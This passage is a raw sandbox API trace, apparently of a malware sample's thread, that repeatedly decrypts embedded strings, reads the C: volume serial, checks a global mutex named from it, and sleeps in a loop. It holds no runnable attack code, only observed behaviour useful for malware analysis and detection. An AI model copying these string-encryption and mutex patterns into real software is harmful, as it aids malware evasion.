WaitForMultipleObjects (nCount=0x3, lpHandles=0x20fa50*=0x8c, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xa74 [0031.979] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c1618 [0031.979] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2e7440) returned 1 [0031.980] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0031.980] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0xb0fa90 | out: pbData=0x7c1618, pdwDataLen=0xb0fa90) returned 1 [0031.980] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.980] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1640 [0031.980] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7eb8 [0031.980] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c7ee0 [0031.980] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2e7440) returned 1 [0031.980] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0031.980] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7ee0, pdwDataLen=0xb0fa68 | out: pbData=0x7c7ee0, pdwDataLen=0xb0fa68) returned 1 [0031.980] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.980] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0031.980] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c1640, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.980] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0031.980] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.980] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.980] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1640 | out: hHeap=0x7c0000) returned 1 [0031.980] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c1618 [0031.981] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2e7440) returned 1 [0031.981] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0031.981] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0xb0fac4 | out: pbData=0x7c1618, pdwDataLen=0xb0fac4) returned 1 [0031.981] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.981] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7eb8 [0031.981] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x9c [0031.981] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x0) returned 0x102 [0031.982] CloseHandle (hObject=0x9c) returned 1 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c1618 [0031.982] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2e7440) returned 1 [0031.982] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0031.982] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0xb0fa90 | out: pbData=0x7c1618, pdwDataLen=0xb0fa90) returned 1 [0031.982] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1640 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7eb8 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c7ee0 [0031.982] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2e7440) returned 1 [0031.982] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0031.982] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7ee0, pdwDataLen=0xb0fa68 | out: pbData=0x7c7ee0, pdwDataLen=0xb0fa68) returned 1 [0031.982] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0031.982] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c1640, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.982] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.982] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1640 | out: hHeap=0x7c0000) returned 1 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c1618 [0031.982] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2e7440) returned 1 [0031.982] CryptSetKeyParam (hKey=0x2e7440, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0031.982] CryptDecrypt (in: hKey=0x2e7440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0xb0fac4 | out: pbData=0x7c1618, pdwDataLen=0xb0fac4) returned 1 [0031.982] CryptDestroyKey (hKey=0x2e7440) returned 1 [0031.982] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7eb8 [0031.983] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x9c [0031.983] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x0) returned 0x102 [0031.983] CloseHandle (hObject=0x9c) returned 1 [0031.983] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.983] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0031.983] Sleep (dwMilliseconds=0x3e8) [0033.521] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0033.521] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2ec6b8) returned 1 [0033.521] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0033.521] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0033.521] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0033.521] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0033.522] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0033.522] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0033.522] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2ec6b8) returned 1 [0033.522] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0033.522] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0033.522] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0033.522] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0033.522] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0033.522] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0033.522] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0033.522] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0033.522] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0033.522] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0033.522] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2ec6b8) returned 1 [0033.522] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0033.522] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0033.522] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0033.522] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0033.522] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0033.523] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0033.523] CloseHandle (hObject=0x14c) returned 1 [0033.523] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0033.523] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0033.523] Sleep (dwMilliseconds=0x3e8) [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0034.534] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2ec6b8) returned 1 [0034.534] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0034.534] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0034.534] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0034.534] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2ec6b8) returned 1 [0034.534] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0034.534] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0034.534] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0034.534] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0034.534] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0034.534] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0034.534] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0034.534] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.534] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0034.534] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2ec6b8) returned 1 [0034.534] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0034.534] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0034.534] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0034.534] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0034.534] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0034.535] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0034.535] CloseHandle (hObject=0x14c) returned 1 [0034.535] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0034.535] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0034.535] Sleep (dwMilliseconds=0x3e8) [0035.547] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0035.547] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2ec6b8) returned 1 [0035.547] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0035.547] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0035.547] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0035.548] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0035.548] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0035.548] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0035.548] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2ec6b8) returned 1 [0035.548] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0035.548] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0035.548] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0035.548] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0035.548] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0035.548] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0035.548] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2ec6b8) returned 1 [0035.548] CryptSetKeyParam (hKey=0x2ec6b8, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0035.548] CryptDecrypt (in: hKey=0x2ec6b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0035.548] CryptDestroyKey (hKey=0x2ec6b8) returned 1 [0035.548] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0035.548] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0035.548] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0035.548] CloseHandle (hObject=0x14c) returned 1 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0035.548] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0035.549] Sleep (dwMilliseconds=0x3e8) [0036.561] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0036.561] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0036.561] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0036.561] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0036.561] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0036.561] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0036.561] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0036.561] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0036.561] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0036.561] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0036.562] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0036.562] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0036.562] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0036.562] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0036.562] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c7eb8 [0036.562] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0faa8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fb10 | out: phKey=0xb0fb10*=0x2f2e38) returned 1 [0036.562] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0faf8, dwFlags=0x0) returned 1 [0036.562] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fac4 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fac4) returned 1 [0036.562] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0036.562] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c7f00 [0036.562] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x14c [0036.562] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0036.562] CloseHandle (hObject=0x14c) returned 1 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0036.562] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f00 | out: hHeap=0x7c0000) returned 1 [0036.562] Sleep (dwMilliseconds=0x3e8) [0038.602] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7eb8 [0038.602] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fadc | out: phKey=0xb0fadc*=0x2f2e38) returned 1 [0038.602] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fac4, dwFlags=0x0) returned 1 [0038.602] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7eb8, pdwDataLen=0xb0fa90 | out: pbData=0x7c7eb8, pdwDataLen=0xb0fa90) returned 1 [0038.602] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0038.602] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c7ee0 [0038.602] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c7f08 [0038.602] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x92abb8 [0038.602] CryptImportKey (in: hProv=0x2e5138, pbData=0xb0fa4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xb0fab4 | out: phKey=0xb0fab4*=0x2f2e38) returned 1 [0038.602] CryptSetKeyParam (hKey=0x2f2e38, dwParam=0x1, pbData=0xb0fa9c, dwFlags=0x0) returned 1 [0038.602] CryptDecrypt (in: hKey=0x2f2e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x92abb8, pdwDataLen=0xb0fa68 | out: pbData=0x92abb8, pdwDataLen=0xb0fa68) returned 1 [0038.602] CryptDestroyKey (hKey=0x2f2e38) returned 1 [0038.602] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x92abb8 | out: hHeap=0x7c0000) returned 1 [0038.602] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c7ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.602] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7f08 | out: hHeap=0x7c0000) returned 1 [0038.602] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7eb8 | out: hHeap=0x7c0000) returned 1 [0038.602] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xb0fb1c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xb0fb1c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.602] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7ee0 | out: hHeap=0x7c0000) returned 1 [0038.602] RtlAllocateHeap 